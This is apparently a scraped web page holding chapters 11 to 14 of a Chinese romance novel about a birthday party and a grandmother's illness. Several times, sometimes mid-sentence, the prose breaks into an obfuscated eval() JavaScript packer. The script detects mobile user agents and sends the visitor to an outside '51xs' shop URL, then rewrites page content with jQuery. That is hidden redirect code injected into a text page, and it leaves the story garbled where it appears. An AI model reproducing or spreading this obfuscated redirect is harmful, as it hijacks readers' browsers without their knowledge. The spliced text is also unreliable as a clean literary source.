她和周迟一在一起，从来没有过路贝贝口中的现象出现，而且周迟一也绝不可能有围着她，江沐珂一个人转的时候，他太过清醒，清楚得知道自己想要什么，该如何得到，并如何做才能长久的拥有。 周迟一从来都是这样一个人，他不是以自我为中心的人，但他的世界里，一定是自己最重要。 所以路贝贝还是不了解她口中这位从小就认识的老朋友，说出口的话更是如听玩笑话的内容。 一句话得到一整个房间的人的沉默，江沐珂说完话后就沉浸在把玩手指甲的状态中，对周圈异样的氛围全然不顾，本来说得也是某种意义上的实话。 温亦呆站在原地反应好半天这句话，他这脑子啊果然是像粉丝说得不太够用，还是不想得好。 经过温亦在其中的插科打诨，话题很快跳转到下一个，某个阎槐感兴趣的话题上，场子再度火热起来。 “珂珂姐，你是这个”，周末默默抽回自己的手，小臂依旧被江沐珂夹在臂弯里，大拇指被悄悄竖起，比出很标准的一个点赞的手势出来，“人都已经去国外了，怎么还像狗皮膏药一样回国来找我哥……” 周迟一没有前女友，这是江沐珂一直以来对他的认知，并且从未有过怀疑的事实。 “你哥和她……？” 话只是刚说出四个字，紧接着就被周末急里忙慌地打断，找补似的帮自己哥哥说话。 周末有意凑近江沐珂耳边，生怕被周迟一听到，抓住个现形，“我爷爷和她爷爷是老战友，她爸爸去世早，没出国前就比较照顾她，比对我这个妹妹还要亲呢！” 说着说着，周末还给自己说气愤了，看得江沐珂哭笑不得，单手放在周末后背处给她顺毛。 原来是从小的青梅竹马啊…… “反正我就是不喜欢，说我占用欲强也好，说我最毒妇人心也好，我就是看不惯她因为我哥照顾的原因，在学校里随意让人误解他们关系，她简直就是我认识的最有心眼的人，心眼子一箩筐，还都不是什么好心眼。” 乖顺如周末，有一天竟然能从她口中听到这种言语的评价，少之又少。 不是前女友，不过在很多同学眼中，应该也没差了。 “那段时间，阎槐应该是有点喜欢她，怕你误会，所以大家都有意在避开这个话题不提她的名字。” 只要提及路贝贝，那段身边人都在起哄的闹剧就难免被提到，这和多了一段情史没区别，更主要是，其实本就没有这种事情发生过。 同样是没有谈过恋爱，但是徐知远在这方面的处事上，要比周迟一妥当更多。 徐知远出现在两个女孩身后，旁边站着孟时野，永远只会在周末身后的小竹马，看似两人在聊天，其实都在注意两个女生的对话。 没有明确点明具体的时间段，但是江沐珂和徐知远都心知肚明。 周迟一在路贝贝旁边闲聊几句，慢慢退出，在小方桌一堆礼物中找到江沐珂的礼物，她的包装看起来更精致，更用心，一眼便能看出不可能是阎槐那种买专精店现成品的包装。 棉麻的布料，上面的缎带上缀着一行字，从外观来看，应该是画画用到的颜料，带着江沐珂字体的独有小习惯，写着“一岁一礼，年年喜乐。” 侧边的小方卡片上，同样点缀着江沐珂的文字，用最简单的文字，讲述最有感情的祝福词。 【To亲爱的周迟一周先生： 生日快乐，我不祝你事业高升，也不祝你未来可期，在今天这个重要的人生中几十个重要节点中的其中之一，我只想祝你，年年似今日，日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14283275|151940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日如此时，平安，健康，开心】 方卡片的空白处，跟了一颗爱心，很简单略潦草的简笔爱心，两笔就能画下来。 从学生时期好像便是如此，她一直都很喜欢画爱心，偶尔心情烦闷翻开备忘录册子里的生日卡片，每一张的末尾都缀着小爱心。 这是很早前便发现的一些习惯中的其中一个，周迟一勾着嘴角，眼神里也带上笑。 拆礼物的动作不由自主放轻，小心翼翼许多。 是一本画册。 在画册第一页上，清楚地写着一行字。 ［这是一本需要长久赞助的连载故事，未完待续写在最前面。］ 霸道又不讲道理的扉页。 周迟一的拇指从第一个字逐个划过，慢慢落在最后一个字上，没忍住的轻笑声随着手指的动作无意识里出声。 富有灵性的画，以及富有感情的吐槽体文字，还有带有主观因素的小人画，这很江沐珂。 粗略翻看还没结束，眼角余光留意到旁边有人走来的阴影，身体比脑子更早给出反应，动作迅速不做犹豫直接把画册合个严实，任何人都看不得一星半点。 徐知远两只手互相搭在一起，走过来时不停调整腕表的松紧，对周迟一这个动作也没有错过。 “这么宝贝呢，自己躲着这里拆礼物就算了，看都不让看一点的嘛？” 纯白的封皮，被套上一层塑料透明封膜，看得出准备册子人的用心。 没有任何文字的空白页封面，充满想象空间和代表未知的颜色。 徐知远默默收回视线，猜不出任何相关的内容，依江沐珂细腻温吞的性格，再加上周迟一隐约动容的表情，这份礼物只会更精彩，所以更加难以猜测。 从一个局外人的角度来看，这张小方桌上，大概没有能够与之比拟的再一份珍贵和用心。 徐知远自己送的礼物虽然是对症下药，专门搜寻来的小玩意，但也未必能压得过江沐珂送的这本册子，更何况礼物盒里除去这本册子，还有其他没有来得及拆封的小物件。 周迟一护着画册四角，动作小心重新放进原位置，嘴角隐隐勾着微不可见的弧度，“想知道？那你自己也去找个女朋友呗，自己品一品不就知道什么味了。” “切，看你能得意几时”，徐知远刚扬到半空的手晦气地甩手落下，垂在自己身体一侧，“而且我找不找要你管，顾好你自己吧。” 说话间，江沐珂已经从他们一侧出现，心情看起来似乎还可以。 小方桌周围这边稍显安静，嘈乱玩游戏划拳喝酒的动静都集中在沙发附近，还没走近便能把徐知远没有放低的对话声听得仔细。 江沐珂听到他的后半句话，稍稍歪头，没人知道她突然想到什么事情，眉眼里透露着准备看乐子的小表情。 她藏不住事，心里想的都表现到脸上，这次也不例外。 明明还没开始说话，徐知远已经在想有没有什么办法能够提前堵住江沐珂的嘴。 事实也的确如徐知远所想，一针见血，让人没有继续和他们这一对不怎么样的男女聊天的念头，不如转身喝酒小酌，好歹能怡情。 11. 难抉择 没来由的默契在一致对外，看朋友的无语和乐子时从来都不会迟到。 江沐珂站在周迟一右手边，脸上的笑容始终都没有停下，甚至还有要憋不住的趋势。 视野转移，周迟一的的表情上，有着同样的神色，两个人都看着同一个方向，徐知远离开的方向，不约而同相视一笑。 即便是过去好一会儿的时间，江沐珂的目光再次看到自己一个人拿着酒瓶喝酒的徐知远，还是会忍不住回想刚刚三人的对话。 最开始挑起这个不怀好意的话题的人是江沐珂，她大概是护短的性格突然被激发，就是不能看到在自己护短范围内的人被人调侃，枪口子弹不分敌我直接开启扫射。 江沐珂还没走近小方桌周围，声音已经随着空气飘荡过去。 “远哥，有个好消息，还有个坏消息，你想先听哪个”，说话声根本没等话中被提到的人反应过来回话做选择，短暂的停顿后已经又开始自顾自的继续说，“算了算了，我知道你肯定也是个选择困难户，好心帮你做决定吧，好消息当然要留在最后了，只有这样才会期待始终保持嘛。” 无奈和无语似乎是在面对江沐珂和周迟一时最常有的状态。 徐知远轻轻叹口气，表情还努力保持在很友好绅士的阶段，带着他公式化的假笑朝着江沐珂抬手，示意她继续。 再正儿八经开始说之前，江沐珂的小眼珠故意提溜转动几下，一肚子的坏水几乎掩藏不住。 “其实也没什么，就是听说某个在爱尔兰深造的朋友又收到一份海外的高薪offer，前两天群里还听她们吐槽来着。” 关键词里，爱尔兰，海外，offer，这几个词就已经很有针对性了。 徐知远表现得越是不在意，其实心里就越是在意得不行。 江沐珂故意拿出手机翻出群聊，假动作一堆象征性地滑动，好像真的在找聊天记录似的。 每天数以百计的闲聊内容自然是不可能这么快被精准定位翻找到的。 “哎，找不到那张offer图了，反正是海外的就对了，不过这应该也并不是什么坏消息，毕竟高薪呢。” 江沐珂单手摩擦下巴，蹙眉思考，缓缓给出自己的评价，“当然还有一个好消息，好消息就是——” “你要不想说就别说了，卖关子也要有个度才是，你不管管？” 半侧身，故意说到一半闭口不言，徐知远满心地不想搭话，到底还是没有忍住。 看乐子正开心，突然被人提及，周迟一微一挑眉，动作间宽松家居服从胳膊肘位置滑落，再次被他慢条斯理重新挽起来，“嗯？我觉得你更应该管才对，那可是海外，高薪，offer的。” 这句话其实算不上最扎心的程度，然而它是从周迟一口中说出来的，最冷静的语气，说着让人最无可奈何，无力改变的事实，这更让人难受。 不是附和的成分，这件事的现实程度是人力所难插手改变挣扎的。 徐知远主动选择放弃，听从安排，静等江沐珂揭开后面的“期待”。 “好消息就是，她拒绝了那份offer”，话说到这里，江沐珂没有错过徐知远任何一个微表情转变，肉眼可见的眉眼多云转晴了，“而且，已经决定回国了，就在下个月。” 过去六年的时间，日复一日的重复生活里，徐知远仿佛突然跳出这种复制粘贴的生活模式，是穿越图层的变化。 情绪的变化在这一时刻达到峰值，一种久违到陌生的巅峰状态。 从不信命的人生中，有朝一日恍然被天降甜糖砸到，整个人都处在恍惚和猝不及防的状态中，甚至有些难以置信。 江沐珂双臂抱在胸前，嘴角浮动着得意的变化，就这样张狂的出现在徐知远压不住的激动目光中。 “淡定，远哥还有一个月呢，你忍住。” 徐知远手垂在身侧，屈指握起，下一秒很快又松开，脑海里想到什么再次攥紧握在一起。 眸子微微下垂，转移角度向下看，敛去其中包含各种复杂情绪的眼神，早已波涛涌汹的眼底波浪被暗暗藏起，没有人察觉。 一个月，三十天，七百二十小时，和杳无音讯的六年相比，即是稍纵即逝的存在。 一落一起的情绪转变中，高昂的情绪状态没有持续很久，下一瞬便被打回原形。 徐知远依旧是一副绅士的表情模样，上扬的嘴角没有一点落下，只是眼神里似乎出现了一丝落寞，仓促划过不易发现。 “不过，她回国的第一件事我猜会是相亲。” 年轻人逃不过的究极话题，家长眼中最为迫切的待解决难题，即便是国外归来也避免不得。 徐知远转动手指间的手机，来回翻转，嘴角渐渐出现淡然的笑容，“有个人照料也挺好的，自己一个人太苦了。” 轻描淡写留下这句感慨，转身去酒桌上寻半杯酒水，没有借酒消愁，但看在眼里却没什么不同。 热闹和寂寥在同一个画面里出现，他们并不共情相通。 感受到身后腰侧周围传来的温度，江沐珂先是稍惊，慢慢适应接受，视线从头到尾都只是跟随着徐知远走动，最后逐渐散了焦点，再不聚焦。 忽而模糊的画面，依稀能辨识出形单影只的独自倚坐发呆，无人能从他沉默的状态里读懂所想。 某个瞬间，江沐珂有种似曾相识的错觉，越过时间的跨度，眼前的徐知远开始转变成曾几何时的自己，过去与现在在这一时刻有了交流。 忽热忽冷的温度，这颗还在跳动的心动频率，让江沐珂自己也说不清道不明。 带有遗憾的未得到，和如愿得到的人都有着自己不能言语的苦涩。 “你从医院回来，外婆那里情况还好吗？” 江沐言有自己的公司项目要忙，主要话事人不好长时间待在医院里，周妈妈是研究所工作人员，能请的假有限，都是下班时间才会出现在医院，平时里周爸爸因着江沐言的帮忙，是待在医院照顾最久的人，还有其他几个亲人轮班。 考虑到这些，周迟一单手搭在江沐珂手腕上，泼墨一般的睫毛垂下，里面的柔情和心疼都被敛去，喉结上下翻滚一下，很多话还是被堵在喉间。 没有说，也无人会发现。 江沐珂抬手从礼物中挑出一个很平常的包装，大概是巴掌大小，不动声色把手从周迟一手中抽走。 眼神始终黏在礼物上，嘴巴慢慢开合，“还好，今天哥哥工作上会忙完比较早，他会在那里守着的。” 周爸爸和周妈妈说到底，以及舅舅他们那些都是上了年纪的人，作为小辈的孩子都不约而同在晚上的时间主动出现在医院，陪同晚上的照顾事宜。 江沐珂继续来回翻转礼物包装盒，最后轻轻放下，眼神里带着些小搞怪，在经过周迟一身侧时小声说道，“这款领带很好看，特别百搭，可惜我买的时候没有货了，不过还好你现在也收到了，要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14283276|151940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不然可就是重复的double咯。” 转过头刻意说话，在末尾留上一个眼睛眨动的wink。 庆生会的气氛逐渐走上正轨，每个人都在喝酒、嬉闹、闲聊中熟悉，享受各自忙碌节奏里的忙里偷闲。 在聊天中，江沐珂知道路贝贝是舞蹈专业从事人员，现在回国准备在某高校舞蹈专业领域继续从事喜欢的事业，就像路北北也同样知道，江沐珂是艺术创作领域的工作，在互联网上很早就有了热度的“前辈”。 “徐江大学的舞蹈专业好像挺好的，国内的TOP10中的吧”，江沐珂听朋友提到过，也顺着话题提了一嘴。 每个人的所属工作领域不同，就像徐知远和阎槐对这些都压根不知，闲聊的过程里，也就只有江沐珂说出过这类话。 路贝贝呆愣一下，嘴角不经意间上扬，神采里藏匿着压不住柔和和惊讶，“你知道这些？” “嗯，有朋友业余学舞蹈，吃饭聊天时就聊到过这些。” 江沐珂想到之前几个女生聚会吃饭时，聊到减肥的话题时，舞蹈室的课程就是中心很重要的话题。 阎槐手握话筒唱歌的声音在耳边徘徊，不算标准的歌调，温亦在一旁努力帮他带回正确的音轨上，只是结果毫不意外，并没有什么效果，自己反而险些被带走了调。 在这样纷乱的环境里，江沐珂和路贝贝两人在同一时间抬眸对视。 路贝贝下一秒便移开视线，右手放在耳后，抓到一小撮碎发慢慢别至耳后，嘴角的弧度也在不知不觉里落下。 对上江沐珂明显带有欣赏的目光，路贝贝就会想到刚刚过去的一个多小时里，她故意闲聊带出的打探话题。 如果要找什么形容今晚她们二者之间的差别，大概就是一个光明磊落，落落大方，一个则是暗藏心思，心思龌龊。 同样是女生，她们之间本该是爱惜和欣赏为主基调的关系，却因为她个人的原因，生生改了甜蜜的韵脚，变成拗口恶性的口水歌。 庆生会上，路贝贝没有再继续待下去，她已经做不到把握情绪不去影响别人，不如不在现场去离开。 和周迟一道了声别，还有其他人说过再见，目光环视一圈，唯独没有看到江沐珂的身影。 “她呢？” 负责送路贝贝出去坐车的是徐知远，他正好顺道也要回家，口头上说着故意怨怪周迟一和江沐珂的言辞，心里打着另一副小算盘。 两人谁也没说名字，徐知远大致瞄一眼，周迟一正在沙发上呢，这个人称指代名词的内容就很单一了。 徐知远单手插在兜里，另一只胳膊上挂着运动外套，“医院那边不是很急？” 刚刚路贝贝随口扯出的借口，根本经不起推敲，现在被徐知远不留情面子直接戳穿。 面色上都是礼貌的询问，表情之下应该都是各自的心知肚明。 路贝贝带着歉意一笑，默默转身拿起外套披到身上，也便就此作罢。 徐知远这种认死理的人，为一个人说话便是认可了要维护，她们之间被隔在这道横线包含区域的两侧，足以判断，她比自己要更好。 “今天晚上就麻烦你了”，路贝贝没抬头，看一眼手机上的时间自顾自地再次表达歉意。 没有人回话，倒影在门上的阴影不似刚刚，是不属于一个人的影子。 忐忑、窃喜、纠结……各种情绪混杂在一起，随着她一同转身看上突然出现的人。 12. 溏心蛋 看到江沐珂出现的那一刻，路贝贝是惊讶的，也是意外的。 期待过是周迟一，阎槐中的一个，唯独没有想过会是江沐珂。 女生是最了解女生的存在，她们总能在第一时间察觉到身边人的小心思，即便不准确，但也一定会有所感觉。 哪怕路贝贝做得很收敛，目光也已经刻意保留很多，但她能肯定，江沐珂一定是感觉得到的。 那样的氛围，周末就差把话都说出来了，江沐珂不可能不知道。 “就要走了吗？” 垂在身侧的手指上沾着没有擦干的水珠，有一滴正顺着食指，悄悄低落到地毯上，刚好在话声的末尾。 手机被随意地塞在卫衣口袋里，看着要掉不掉的样子，让看到的人忍不住跟着提心吊胆。 路贝贝单手捏在挎包的包带上，再抬眼时眸子里的神韵变了含义，但只有她自己知道。 “嗯，该回医院了”，路贝贝轻轻回答，提到医院这两个字，依旧是避免不了的沉重语气转变。 互相不清楚对方家庭情况的两个人，在同一时间达到某种共情。 江沐珂本也就是从医院赶来的，眼神里有一丝苦涩在挣扎，脚比脑子的礼教更早做出动作。 上前几步站定在路贝贝面前，声音很轻，但里面的关心让人没办法忽视，“都会好起来的，一定都会的，回去路上小心。” “远哥，你开车慢点，到家记得说一声。” 两个人分别叮嘱一遍，站在门口挥手目送他们离开，对于他们聊天的内容便是无从得知了。 庆生会对于周迟一来说，其实就是个过场，能和朋友们聚一起吃吃饭，聊天天，在工作中偷个闲就足够了。 沙发上，周迟一任由被江沐珂当人肉靠垫一样枕着大腿，有一搭没一搭地和其他人聊天，而江沐珂则是被温亦拉着聊个不停。 粉丝和好兄弟的女朋友两种身份加持，导致温亦莫名有一种亲上加亲的感觉，比对待周迟一还要热情亲切。 借着周迟一的人脉关系，江沐珂也是体验了一把就近追星的快感，不是一般的爽。 明明刚认识不久，他们就已经开始当着周迟一的面约定下一张要画的内容，以及下一次演唱会要留的门票。 “阎槐，你耍赖！” “明明是你自己操作菜，玩不过就不要来，小菜鸡！” “瞎说八道，你才是最菜的，哥，你过来评评理，到底谁菜。” 明明都是二十好几的人，一个两个都像长不大的小孩，还和小时候一个样子，闹腾拌嘴个没完。 周末和阎槐两人都大大咧咧坐在地毯上，一人手中一个游戏手柄，正对着大屏电视机玩最原始的竞技游戏。 拳皇的游戏江沐珂没玩过，但没吃过猪肉，猪跑还是见过的。 争执不下的结果就是，孟时野和被他们生拉硬拽过去，至于周迟一这人，他们不太敢惹，莫名其妙有一些怕。 周末怕，那是一个族谱上的血脉压制，而阎槐怕，是因为小时候被压一头习惯了，哪里还会说半个不字。 客厅由此分成两大区域，游戏区和聊天区，在仔细些的话，还会有第三个区，那就是独属于周迟一自己的倾听区。 江沐珂和温亦聊天，周迟一在旁边听，手上动作不停，已经在桌子小盘子里剥好一小盘的红柚瓣。 盘子的一半放剥好的，另一半则被某人时不时抓一点放嘴里，当做闲聊说话的零嘴吃掉。 在之前，都是江沐珂自己动手丰衣足食，提前备好放手边，才会开始和朋友们的电话粥。 今天晚上时，江沐珂的目光刚转向红柚，周迟一第一时间做出反应，伸手从盘子里够到，主动从江沐珂手中夺走，连水果带盘子，以及刚掰开一点的柚子皮。 “你们聊吧，我来弄”，周迟一拿过水果刀，在刚刚江沐珂枕的位置上轻轻拍几下，示意她继续恢复刚刚的聊天状态。 难得的放松休息时间，所有人都全身心享受其中，抛掉生活里各种琐碎的杂事，各式的烦恼问题，在一方小天地里，和不算多的朋友闲聊大笑。 玩到最后，就连一向没什么游戏念头的周迟一，也起身坐在电视机前，和另一个同样好胜心极强的温亦，一人选择一个人物，说什么也要比出个高低来。 江沐珂从小便是游戏黑洞，除非是简单得过分的操作，一般游戏她都不会去尝试，省得闹笑话。 所以这次毫无疑问的，她站在他们身后不远处，直接抱着沙发抱枕坐在地毯上，盘起的双腿面前正摆着被柚子皮松松垮垮分离开又包裹在一团的水果。 手机的邮件通知声音明明不大，但江沐珂觉得仿佛就在耳边响起的。 工作上的事情，江沐珂一直不喜欢在非工作时间处理，只是最近一段时间搁置太多，免不得抽着这点时间，放下手里的柚子瓣，从腿边把手机拿回到手中。 不是工作上的邮件…… “珂珂，那我可就要走了，后面我就要去出差，要很久见不到你呢，怎么办，我会想你的。” 临走之前，周末死活不松手，软软呼呼地搂着江沐珂，嘴里念念叨叨不停，把身后和面前的两个大男人晾在一旁。 江沐珂哭笑不得，这位大小姐工作的事情总算是开始踏上正途，她这会儿竟然还要身在福中不知福。 江沐珂任由身上比自己高的女生趴在肩上，单手搂着她轻拍后背，“好啦，你好好加油，以后我就能在大屏幕上看到了，倍儿有面，逢人就说，这是我的好姐妹，周末。” “多大人了，别有事没事就跑回家找爸妈哭闹耍小性子”，周迟一面色平淡，没有很难看，但就是他没有什么表情，才让人看得更火大。 周末从江沐珂身上起来，经过周迟一身旁时，故意用肩头撞一下，让周迟一一个趔趄，脚下没站稳，眼疾手快搭上门槛才稳住身子。 “我多大你不知道吗，我想哭就哭，有本事你也回家哭啊，我又没拦着你，你自己不回去怪谁，没事还要剥夺我的权利，凭什么。” 周迟一说一句话，周末能掰扯出双倍，甚至三倍，更多倍的话来反驳，抬杠。 这是她从小到大的一项乐趣之一。 送走最后两个人，周迟一缓缓松口气，这群人在的时候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“我有件事想和你说……”，做抉择一直都是很困难的事，江沐珂深吸一口气逼着自己作出决定，做了很久心理建设后开口。 周迟一把碗勺送进厨房，手中捏着纸巾正在擦拭肌肤上的水珠，边走路边抬头，面带惑色抬头，“好，你说。” 完全尊重她的口吻，眼神里也很温柔，温柔到江沐珂突然有些恍神。 “其实也没什么，不是什么大事，但似乎也不算小”，临到开口，江沐珂重新开始变得犹豫，猛的闭眼再睁开，一副视死如归的悲壮表情准备继续说话。 “嗡嗡嗡——” 周迟一刚坐下，也同样听到动静，微微侧头，“手机？” “嗯，我忘记放哪里了”，江沐珂微微起身，半个身子趴在沙发上，挨个把沙发抱枕挪开，试图找到震动声音来源。 来回翻腾之后，手机出现在周迟一手中，他比她更先找到，“是你哥哥的。” 这个时间点，已经快接近凌晨，江沐言那种规律作息的人极少时间会打来电话。 江沐珂听到他这样说，下意识皱眉，没来由地开始预想各种不好的事情。 “喂，哥，这么晚了你还没睡觉呢？” 13. 银杏叶 从周迟一公寓赶回家的路上，江沐珂不知道周迟一口中说过多少个别担心的字眼，只是都没有起到什么安慰的作用。 只要事情涉及到外婆，江沐珂的冷静就消失得无影无踪，这次也不例外。 电话中，江沐言不顾爸妈的阻止，自作主张给江沐珂拨通电话，把医院里的具体情况讲给她听。 好不容易挪出来的过生日时间，江爸爸江妈妈不想打扰她难得的心情放松，整天待在医院里，实在太过压抑。 家中的大多数事情，江沐言都完全尊重爸妈的决定，但是在这件事上，他不认为有隐瞒的必要。 “珂珂，外婆被接回家了，我们现在在家里，已经从省医院回来了。” 江沐言这句话结束，电话里持续很长一段时间的沉默，他不说，江沐珂也没有吭声。 这一切都发生得太快，明明下午离开的时候所有都还是好好的，老人躺在床上虽然还是不会说话，但是身体机能各方面都还处在平稳的阶段，没道理就到了停止医治回家的地步。 不会的，病情不可能会发展得这么快的。 再涨开口说话时，一双眼眶里闪烁着泪珠在打转，嘴巴微微蠕动，哽咽的话语被强压着心头的情绪逐字吐出，“为什么要会回家，为什么不继续住院，回家不就是不治了吗，为什么啊……” 越往后说，吐字方面就越含糊不清楚，鼻音以最快的速度在说话语气中蔓延，合着小声抽泣的哽咽声，通过电子信号传到江沐言耳中。 “什么时候回家的，你们怎么没人告诉我？” 一个接一个问题抛出来，江沐言听着自己妹妹带着哭腔的质问声，再强势的人在这一时刻也被戳了软肋，红着眼眶说不出话来。 待两个人情都绪稳定，江沐言换一只手拿手机，从阳台上转身准备离开，声音很轻，轻到他自己都差点以为什么都没有说。 “回来再陪陪她吧，她想回家了。” 最后一个字说完，压在最后边缘的情绪如开闸的闸门，再也没有任何办法压抑。 那一刻，江沐珂清楚地听到电话里隐约传出来一声哽咽，很轻，但很伤心。 两兄妹各自捧着手机，在城市的两个方向，心里装着同一个人，放任情绪的大起大落。 亲情最有情，却也是最无情的一把刀，打得人猝不及防，没有一点办法。 江沐珂靠坐在车上，眼睛无神，是在看窗外的方向，其实眼神一点不聚焦，模糊一片，除了模糊的泪光，什么都看不到。 眼泪早已顺着脸颊落下晶莹的两行泪，任由它流淌，还未干的泪痕，很快便又被下一滴泪冲刷，汇聚在下巴尖处，落在灰色衬衫上，小小的一片深色点缀在胸口上方一点。 叫来的代驾尽最快的速度开车，在凌晨的时间争分夺秒。 江家老宅，老人的床前陪伴着每一个能在最快时间内赶回来的亲人，两个舅舅，两个姨，还有几个哥哥在。 整个房间的都被低沉包围的氛围，周迟一在江家老宅门口停车，从窗户上看到人影，最后没有选择进去。 在江沐珂下车之前，耐着心专门叮嘱宽慰上几句话，目送着她搂着衣服推门回去，慌张得根本不记得关心自己的状态。 阳光的、难过的、生气的、耍小性子的……各种各样的一面，周迟一都见过，但今天的这个样子从未见过。 她和他不同，在面对这种亲人的场面上，江沐珂的情绪更外露，不会强压着自己。 “走吧” 江家老宅院内，江沐言从某个房间里出来，隐约的光线照射下，他的表情说不上来的难过。 他们是同一类人，用相同的脑回路来思考，可能是从某个没人看到的角落里发泄过情绪，才缓缓出现。 周迟一和他对视一眼，两个人打过招呼后，拍拍驾驶位的座椅后背，示意代驾开车离开。 明天还有工作安排，航班好像是早上最早的一班。 周迟一默默叹口气，在备忘录里找到工作行程的安排，都是不太能推掉或后延的工作，提前和合作对象的洽谈内容。 导演那边的演员档期问题正在敲定，进度已经接近三分之二，剩下的合作安排则更多是周迟一负责，还有更重要的一个接触合作客串演员对象，也在他的洽谈范围内。 罗列出来的工作内容，没有一项是短时间内快速能完成的。 【周迟一】：明早来的时候帮我带一份早餐，汤记的就行。 给陈林发完这些内容，手机页面直接切回到江沐珂的聊天界面，上面该停留在下午时的结束话题。 犹豫之后，双手在手里屏幕上飞快打字。 【周迟一】：记得按时吃饭，照顾外婆的前提是照顾好自己。 【周迟一】：我明天要去湘城市，有什么事情需要我记得给我打电话。 收到这两句消息，已经是第二天的中午，熬大半个通宵等到表姐来换班后，江沐珂才倒在沙发上睡觉。 坐在老宅院子里的藤椅上，手指间夹着一根不知道谁在厨房里放好的加热过的火腿，随手从吐司袋里拿两片面包片，边吃边发呆。 没有像电视里演的那些预知梦的能力，可是眼前正在发生的事情就仿佛在之前什么时候经历过，就连似曾相识的情绪起伏都很熟悉，如同重新体验一遍的感觉。 “可能真的是什么时候做梦梦到过吧”，江沐珂摇着头说话，动作在否认，嘴上还在找借口。 梦这种虚幻解释不清的存在，有的时候一晚上梦可以记很久，久到过去一段时间也不会忘记，而更多时候的梦则是转瞬即忘，可能是在睁眼的瞬间，也可能是在分享讲述的前一秒。 总之，大多数的梦境内容是记不得的。 因为这个原因，江沐珂以此来辩证自己的观点。 【江沐珂】：不用担心我，你也工作顺利。 在周迟一的工作上，江沐珂帮不上什么忙，每次收到这种消息的时候，江沐珂都会回上这句话。 平时不觉得有什么，现在闲下来盯着手机聊天记录看，越看越觉得平淡无趣。 [工作顺利] 聊天记录的搜索栏里被输上这几个字，点击搜索，一个惊人的数字出现在上面，想过会有很多次，只是没有想到会是这么大的数字。 351次。 原来这几年里，他们都说过这么多遍了。 犹豫之下，江沐珂再发出一条消息。 【江沐珂】：外婆这边没事，你不用担心我。 两条消息中间隔着五分钟，消息的提示时间上看得出不连贯的发送时间。 周迟一刚下飞机就被未来的合作伙伴接走，通过一个很早就定下来的口头合同，这次专门来签合同的，其他的事情都在此之后。 刚从办公室里出来，洽谈合作的两人被送到接待室，还有一位堵在正在来的路上，飞机延误这种不可抗力让人最是无奈。 都是熟悉的老同学，接过助理送来的咖啡，周迟一安静坐在椅子上翻看手机消息。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“小羊乖，告诉姑姑为什么不想和哥哥玩啊，你看哥哥不是一直在等着想要和小羊一起玩的吗？” 和小孩子说话，江沐珂自己的语气也禁不住跟着柔缓很多，眼底的柔情在不经意间浮现，充斥盈满整个眼眶。 老宅庭院里两个相差五六岁的小男孩，围绕着正在坐在小竹椅上的江沐珂左右躲闪转圈，被围在中间的人只能半宠溺半苦笑的模样，除了受着别无他法。 周末很少来江家老宅这里，凭借着为数不多的印象，拎着礼盒挨家挨户摸到门口，正好看到这样一幕。 孩童无忧且阳光，大人宠溺且耐心，画面和谐得让人不忍心去打破这种美好。 从江沐珂的脸上周末看到轻松，和满足，对生活所求不多的低物质型的满足。 有关这一点，她曾和江沐珂聊过，谈不上积极的乐观思想，所以不会要求身边的人会为她做什么，会相信付出就有收获，但是也相信积少成多，厚积薄发，明白不对很多事情抱有太多的期望，生活便不会有更多的本可以避免的失望。 “大姐姐，你一直看着我小姨做什么，是小姨的朋友吗？” 一身蓝色格子外套，头上绑着可爱的两束麻花辫，配着蓝白相间的针织裙，如一个会玩闹说话的洋娃娃般精致。 不需要任何多余的人工妆容加持，孩童满脸的胶原蛋白便是最美的天然修饰。 周末将礼盒提高离地，半蹲下和女孩保持同一高度水平线，对话过程里眼角的余光有注意到后面也慢慢靠近来的另一个女孩。 说话语气也带上孩童的稚嫩气，“是啊，那小妹妹你能帮姐姐去叫一下你的小姨吗，就说外面有人找她。” 两个小女孩小眼珠子提溜转，和周末对视相互打量好半天，才缓缓点了头。 两只小手手牵着手，一蹦一跳地朝庭院里去。 14. 晶莹泪 好姐妹两个小女孩的笑得咯咯的声音比她们的小步子更早到达江沐珂身边，周末早早收到她抬头看过来的目光，相视一笑。 “小姑姑，有人找你。” 孩童带着稚嫩的音色，一人拉着江沐珂的一只手，伴随她们独有的前后摇摆节奏一同朝院子门口的方向走。 周末还保持着蹲在原地的姿势，半仰着头看向出现在自己面前的朋友，心血来潮故意发出捏着喉咙一般的嗓音，做作到不行。 “大姐姐，我来找你，你怎么不欢迎我啊？” 什么叫恶人先告状，周末现在便是如此。 江沐珂招呼两个女孩自己回去院子里玩，双臂抱在胸前，刻意端出一身架子，稍微耷拉下眼皮，居高临下瞅着周末。 一高一低的眼神对视，谁更占优势一眼便知。 周末率先败下阵，双手趴到江沐珂肩上，嘴巴里嘟囔不止，“珂珂姐你别动——啊——脚脚脚麻了！” 